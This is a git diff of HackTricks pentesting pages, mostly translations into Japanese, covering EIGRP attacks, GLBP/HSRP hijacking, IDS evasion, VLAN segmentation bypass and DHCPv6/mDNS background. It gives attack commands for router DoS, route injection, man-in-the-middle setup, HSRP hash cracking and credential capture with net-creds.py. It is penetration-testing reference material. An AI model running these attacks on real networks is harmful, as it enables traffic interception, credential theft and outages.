b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -### DHCPv6 vs. DHCPv4 Message Types Comparison +### DHCPv6 と DHCPv4 メッセージタイプの比較 -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +以下の表に DHCPv6 と DHCPv4 メッセージタイプの比較を示します: -| DHCPv6 Message Type | DHCPv4 Message Type | +| DHCPv6 メッセージタイプ | DHCPv4 メッセージタイプ | | :--------------------------------- | :------------------ | | Solicit (1) | DHCPDISCOVER | | Advertise (2) | DHCPOFFER | @@ -17,23 +17,23 @@ A comparative view of DHCPv6 and DHCPv4 message types is presented in the table | Reconfigure (10) | DHCPFORCERENEW | | Relay-Forw (12), Relay-Reply (13) | none | -**Detailed Explanation of DHCPv6 Message Types:** +**DHCPv6 メッセージタイプの詳細説明:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**: 利用可能なサーバーを見つけるために DHCPv6 クライアントによって開始されます。 +2. **Advertise (2)**: サーバーが Solicit に応じて送信し、DHCP サービスの利用可能性を示します。 +3. **Request (3)**: クライアントが特定のサーバーから IP アドレスまたはプレフィックスを要求するために使用します。 +4. **Confirm (4)**: クライアントが割り当てられたアドレスがネットワーク上でまだ有効かどうかを確認するために使用します。通常、ネットワーク変更後に行います。 +5. **Renew (5)**: クライアントが元のサーバーに送信し、アドレスの有効期限を延長したり、設定を更新したりします。 +6. **Rebind (6)**: どのサーバーにも送信され、アドレスの有効期限を延長したり、設定を更新したりします。特に Renew に対する応答がない場合に使用されます。 +7. **Reply (7)**: サーバーがアドレス、設定パラメータを提供したり、Release や Decline のようなメッセージを確認するために使用します。 +8. **Release (8)**: クライアントがサーバーに対して、1つまたは複数の割り当てられたアドレスの使用を停止するよう通知します。 +9. **Decline (9)**: クライアントが割り当てられたアドレスがネットワーク上で競合していることを報告するために送信します。 +10. **Reconfigure (10)**: サーバーがクライアントに新しいまたは更新された設定の取引を開始するよう促します。 +11. **Information-Request (11)**: クライアントが IP アドレスの割り当てなしで設定パラメータを要求します。 +12. **Relay-Forw (12)**: リレエージェントがメッセージをサーバーに転送します。 +13. **Relay-Repl (13)**: サーバーがリレエージェントに応答し、リレエージェントがクライアントにメッセージを届けます。 -## References +## 参考文献 - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages) diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index fe4b7247a..901a9af5c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,61 +1,61 @@ -# EIGRP Attacks +# EIGRP攻撃 {{#include ../../banners/hacktricks-training.md}} -**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**これは** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **で公開された攻撃の概要です。詳細については確認してください。** -## **Fake EIGRP Neighbors Attack** +## **偽のEIGRP隣接攻撃** -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +- **目的**: EIGRP helloパケットでルーターのCPUを過負荷にし、サービス拒否(DoS)攻撃につながる可能性があります。 +- **ツール**: **helloflooding.py**スクリプト。 +- **実行**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **パラメータ**: +- `--interface`: ネットワークインターフェースを指定します。例: `eth0`。 +- `--as`: EIGRP自律システム番号を定義します。例: `1`。 +- `--subnet`: サブネットの場所を設定します。例: `10.10.100.0/24`。 -## **EIGRP Blackhole Attack** +## **EIGRPブラックホール攻撃** -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - `--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +- **目的**: 偽のルートを注入することでネットワークトラフィックの流れを妨害し、トラフィックが存在しない宛先に向かうブラックホールを作り出します。 +- **ツール**: **routeinject.py**スクリプト。 +- **実行**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **パラメータ**: +- `--interface`: 攻撃者のシステムインターフェースを指定します。 +- `--as`: EIGRP AS番号を定義します。 +- `--src`: 攻撃者のIPアドレスを設定します。 +- `--dst`: ターゲットサブネットIPを設定します。 +- `--prefix`: ターゲットサブネットIPのマスクを定義します。 -## **Abusing K-Values Attack** +## **K値の悪用攻撃** -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +- **目的**: 変更されたK値を注入することでEIGRPドメイン内での継続的な中断と再接続を引き起こし、実質的にDoS攻撃を引き起こします。 +- **ツール**: **relationshipnightmare.py**スクリプト。 +- **実行**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **パラメータ**: +- `--interface`: ネットワークインターフェースを指定します。 +- `--as`: EIGRP AS番号を定義します。 +- `--src`: 正当なルーターのIPアドレスを設定します。 -## **Routing Table Overflow Attack** +## **ルーティングテーブルオーバーフロー攻撃** -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +- **目的**: 多数の偽のルートでルーターのCPUとRAMに負荷をかけます。 +- **ツール**: **routingtableoverflow.py**スクリプト。 +- **実行**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **パラメータ**: +- `--interface`: ネットワークインターフェースを指定します。 +- `--as`: EIGRP AS番号を定義します。 +- `--src`: 攻撃者のIPアドレスを設定します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 77e1a445e..38184034f 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,60 +2,56 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## FHRP Hijacking Overview ### Insights into FHRP -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +FHRPは、複数のルーターを単一の仮想ユニットに統合することでネットワークの堅牢性を提供するように設計されており、負荷分散と障害耐性を向上させます。Cisco Systemsは、このスイートにおいてGLBPやHSRPなどの主要なプロトコルを導入しました。 ### GLBP Protocol Insights -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +Ciscoの作成したGLBPは、TCP/IPスタック上で機能し、通信にはポート3222のUDPを利用します。GLBPグループ内のルーターは、3秒ごとに「hello」パケットを交換します。ルーターがこれらのパケットを10秒間送信しない場合、そのルーターはオフラインと見なされます。ただし、これらのタイマーは固定されておらず、変更可能です。 ### GLBP Operations and Load Distribution -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +GLBPは、単一の仮想IPと複数の仮想MACアドレスを使用してルーター間で負荷分散を可能にすることで際立っています。GLBPグループ内では、すべてのルーターがパケット転送に関与します。HSRP/VRRPとは異なり、GLBPは複数のメカニズムを通じて真の負荷分散を提供します: -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +- **Host-Dependent Load Balancing:** ホストに対して一貫したAVF MACアドレスの割り当てを維持し、安定したNAT構成に不可欠です。 +- **Round-Robin Load Balancing:** デフォルトのアプローチで、要求するホスト間でAVF MACアドレスの割り当てを交互に行います。 +- **Weighted Round-Robin Load Balancing:** 事前定義された「Weight」メトリックに基づいて負荷を分配します。 ### Key Components and Terminologies in GLBP -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +- **AVG (Active Virtual Gateway):** MACアドレスをピアルーターに割り当てる主ルーターです。 +- **AVF (Active Virtual Forwarder):** ネットワークトラフィックを管理するために指定されたルーターです。 +- **GLBP Priority:** AVGを決定するメトリックで、デフォルトは100で、1から255の範囲です。 +- **GLBP Weight:** ルーターの現在の負荷を反映し、手動またはオブジェクトトラッキングを通じて調整可能です。 +- **GLBP Virtual IP Address:** すべての接続デバイスのネットワークのデフォルトゲートウェイとして機能します。 -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +GLBPは、予約されたマルチキャストアドレス224.0.0.102とUDPポート3222を使用して相互作用します。ルーターは3秒ごとに「hello」パケットを送信し、10秒間パケットが欠落した場合は非稼働と見なされます。 ### GLBP Attack Mechanism -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +攻撃者は、最も高い優先度値(255)を持つGLBPパケットを送信することで、主ルーターになることができます。これにより、DoSまたはMITM攻撃が発生し、トラフィックの傍受やリダイレクトが可能になります。 ### Executing a GLBP Attack with Loki -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +[Loki](https://github.com/raizo62/loki_on_kali)は、優先度と重みを255に設定したパケットを注入することでGLBP攻撃を実行できます。攻撃前のステップには、Wiresharkなどのツールを使用して仮想IPアドレス、認証の有無、ルーターの優先度値などの情報を収集することが含まれます。 Attack Steps: -1. Switch to promiscuous mode and enable IP forwarding. -2. Identify the target router and retrieve its IP. -3. Generate a Gratuitous ARP. -4. Inject a malicious GLBP packet, impersonating the AVG. -5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP. -6. Implement SNAT for complete traffic visibility. -7. Adjust routing to ensure continued internet access through the original AVG router. +1. プロミスキャスモードに切り替え、IP転送を有効にします。 +2. 対象ルーターを特定し、そのIPを取得します。 +3. Gratuitous ARPを生成します。 +4. AVGを偽装した悪意のあるGLBPパケットを注入します。 +5. 攻撃者のネットワークインターフェースにGLBP仮想IPを反映させた二次IPアドレスを割り当てます。 +6. 完全なトラフィック可視性のためにSNATを実装します。 +7. 元のAVGルーターを通じてインターネットアクセスを維持するためにルーティングを調整します。 -By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. - -For demonstration, here are the required command snippets: +これらのステップに従うことで、攻撃者は「中間者」として位置づけられ、ネットワークトラフィックを傍受し、暗号化されていないデータや機密データを分析することが可能になります。 +デモ用に必要なコマンドスニペットは以下の通りです: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +トラフィックの監視と傍受は、net-creds.pyや同様のツールを使用して、侵害されたネットワークを流れるデータをキャプチャし、分析することで行うことができます。 -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +### HSRPハイジャックの受動的説明とコマンドの詳細 -### Passive Explanation of HSRP Hijacking with Command Details +#### HSRP(ホットスタンバイルーター/冗長プロトコル)の概要 -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) +HSRPは、ネットワークゲートウェイの冗長性のために設計されたCiscoの独自プロトコルです。複数の物理ルーターを共有IPアドレスを持つ単一の論理ユニットに構成することを可能にします。この論理ユニットは、トラフィックを指示する責任を持つプライマリルーターによって管理されます。GLBPとは異なり、HSRPはトラフィック管理のために単一のアクティブルーターに依存します。 -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### HSRPにおける役割と用語 -#### Roles and Terminology in HSRP +- **HSRPアクティブルーター**: ゲートウェイとして機能し、トラフィックフローを管理するデバイス。 +- **HSRPスタンバイルーター**: アクティブルーターが故障した場合に引き継ぐ準備ができているバックアップルーター。 +- **HSRPグループ**: 単一の堅牢な仮想ルーターを形成するために協力するルーターのセット。 +- **HSRP MACアドレス**: HSRP設定における論理ルーターに割り当てられた仮想MACアドレス。 +- **HSRP仮想IPアドレス**: 接続されたデバイスのデフォルトゲートウェイとして機能するHSRPグループの仮想IPアドレス。 -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### HSRPのバージョン -#### HSRP Versions +HSRPには、グループ容量、マルチキャストIPの使用、および仮想MACアドレス構造が主に異なるHSRPv1とHSRPv2の2つのバージョンがあります。このプロトコルは、サービス情報交換のために特定のマルチキャストIPアドレスを利用し、Helloパケットは3秒ごとに送信されます。10秒間パケットが受信されない場合、ルーターは非アクティブと見なされます。 -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### HSRP攻撃メカニズム -#### HSRP Attack Mechanism +HSRP攻撃は、最大優先度値を注入することによってアクティブルーターの役割を強制的に引き継ぐことを含みます。これにより、Man-In-The-Middle(MITM)攻撃が発生する可能性があります。攻撃前の重要なステップには、HSRP設定に関するデータを収集することが含まれ、これはWiresharkを使用してトラフィック分析を行うことで実施できます。 -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +#### HSRP認証をバイパスする手順 -#### Steps for Bypassing HSRP Authentication +1. HSRPデータを含むネットワークトラフィックを.pcapファイルとして保存します。 +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. hsrp2john.pyを使用して.pcapファイルからMD5ハッシュを抽出します。 +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. John the Ripperを使用してMD5ハッシュをクラックします。 +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +**Lokiを使用したHSRPインジェクションの実行** -**Executing HSRP Injection with Loki** +1. Lokiを起動してHSRP広告を特定します。 +2. ネットワークインターフェースをプロミスキャスモードに設定し、IPフォワーディングを有効にします。 +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. Lokiを使用して特定のルーターをターゲットにし、クラックしたHSRPパスワードを入力し、アクティブルーターを偽装するために必要な設定を行います。 +4. アクティブルーターの役割を取得した後、ネットワークインターフェースとIPテーブルを設定して正当なトラフィックを傍受します。 +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. ルーティングテーブルを変更して、トラフィックを以前のアクティブルーターを通過させます。 +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. net-creds.pyや同様のユーティリティを使用して、傍受したトラフィックから資格情報をキャプチャします。 +```shell +sudo python2 net-creds.py -i eth0 +``` -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 - ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` +これらの手順を実行することで、攻撃者はトラフィックを傍受し、操作する立場に置かれ、GLBPハイジャックの手順と類似しています。これは、HSRPのような冗長プロトコルの脆弱性と、堅牢なセキュリティ対策の必要性を強調しています。 -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. - -## References +## 参考文献 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index fd94988fa..b901f4e43 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,57 +1,45 @@ {{#include ../../banners/hacktricks-training.md}} -
+# **TTL操作** -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +IDS/IPSに到達するのに十分なTTLを持つパケットを送信しますが、最終システムには到達しないようにします。そして、他のパケットと同じシーケンスの別のパケットを送信することで、IPS/IDSはそれらを繰り返しと見なし、チェックしないでしょうが、実際には悪意のあるコンテンツを含んでいます。 -{% embed url="https://academy.8ksec.io/" %} +**Nmapオプション:** `--ttlvalue ` -# **TTL Manipulation** +# シグネチャの回避 -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +パケットにゴミデータを追加するだけで、IPS/IDSのシグネチャを回避します。 -**Nmap option:** `--ttlvalue ` +**Nmapオプション:** `--data-length 25` -# Avoiding signatures +# **断片化されたパケット** -Just add garbage data to the packets so the IPS/IDS signature is avoided. +パケットを断片化して送信するだけです。IDS/IPSがそれらを再構成する能力を持っていなければ、最終ホストに到達します。 -**Nmap option:** `--data-length 25` +**Nmapオプション:** `-f` -# **Fragmented Packets** +# **無効な** _**チェックサム**_ -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +センサーは通常、パフォーマンスの理由からチェックサムを計算しません。したがって、攻撃者は**センサーによって解釈されるが、最終ホストによって拒否される**パケットを送信できます。例: -**Nmap option:** `-f` +RSTフラグと無効なチェックサムを持つパケットを送信すると、IPS/IDSはこのパケットが接続を閉じると考えるかもしれませんが、最終ホストはチェックサムが無効であるため、パケットを破棄します。 -# **Invalid** _**checksum**_ +# **珍しいIPおよびTCPオプション** -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +センサーは、IPおよびTCPヘッダー内に特定のフラグやオプションが設定されたパケットを無視する可能性がありますが、宛先ホストは受信時にパケットを受け入れます。 -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +# **重複** -# **Uncommon IP and TCP options** +パケットを断片化すると、パケット間に何らかの重複が存在する可能性があります(例えば、パケット2の最初の8バイトがパケット1の最後の8バイトと重複し、パケット2の最後の8バイトがパケット3の最初の8バイトと重複する)。その場合、IDS/IPSが最終ホストとは異なる方法でそれらを再構成すると、異なるパケットが解釈されます。\ +または、同じオフセットを持つ2つのパケットが到着し、ホストはどちらを取るか決定しなければなりません。 -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +- **BSD**: 小さい_オフセット_を持つパケットを優先します。同じオフセットのパケットの場合、最初のものを選択します。 +- **Linux**: BSDと同様ですが、同じオフセットの最後のパケットを優先します。 +- **最初** (Windows): 最初に来た値が残ります。 +- **最後** (cisco): 最後に来た値が残ります。 -# **Overlapping** - -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. - -- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -- **Linux**: Like BSD, but it prefers the last packet with the same offset. -- **First** (Windows): First value that comes, value that stays. -- **Last** (cisco): Last value that comes, value that stays. - -# Tools +# ツール - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index eaf5835eb..2ccd1018b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,34 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続されたポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、シナリオに応じて動的(DHCP)または静的にIPアドレスを設定することが含まれます(**詳細については[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)を確認してください。**) -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +最初に、特定の接続ポートの特定が必要です。これは通常、CDPメッセージを通じて、または**include**マスクを使用してポートを検索することで達成できます。 +**CDPが機能していない場合、MACアドレスを検索することでポートの特定を試みることができます**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +トランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を特定する必要があります。これらの識別子はインターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。使用中のポートは、例えば、VLAN 10に関連付けられています。 ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**トランクモードに移行するには、インターフェイス設定モードに入る必要があります**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +トランクモードに切り替えると、一時的に接続が中断されますが、その後復元できます。 -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +次に、仮想インターフェースが作成され、VLAN IDが割り当てられ、アクティブ化されます: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -40,25 +33,20 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +その後、DHCPを介してアドレスリクエストが行われます。DHCPが利用できない場合は、アドレスを手動で設定することもできます: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +インターフェースに静的IPアドレスを手動で設定する例(VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +接続性は、VLAN 10、20、50、および 60 のデフォルトゲートウェイに ICMP リクエストを送信することでテストされます。 -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. - -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. +最終的に、このプロセスは VLAN セグメンテーションのバイパスを可能にし、任意の VLAN ネットワークへの制限のないアクセスを促進し、その後のアクションのための基盤を整えます。 ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 72dfbfb12..afcdcda41 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,55 +1,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Multicast DNS (mDNS) +## マルチキャストDNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. 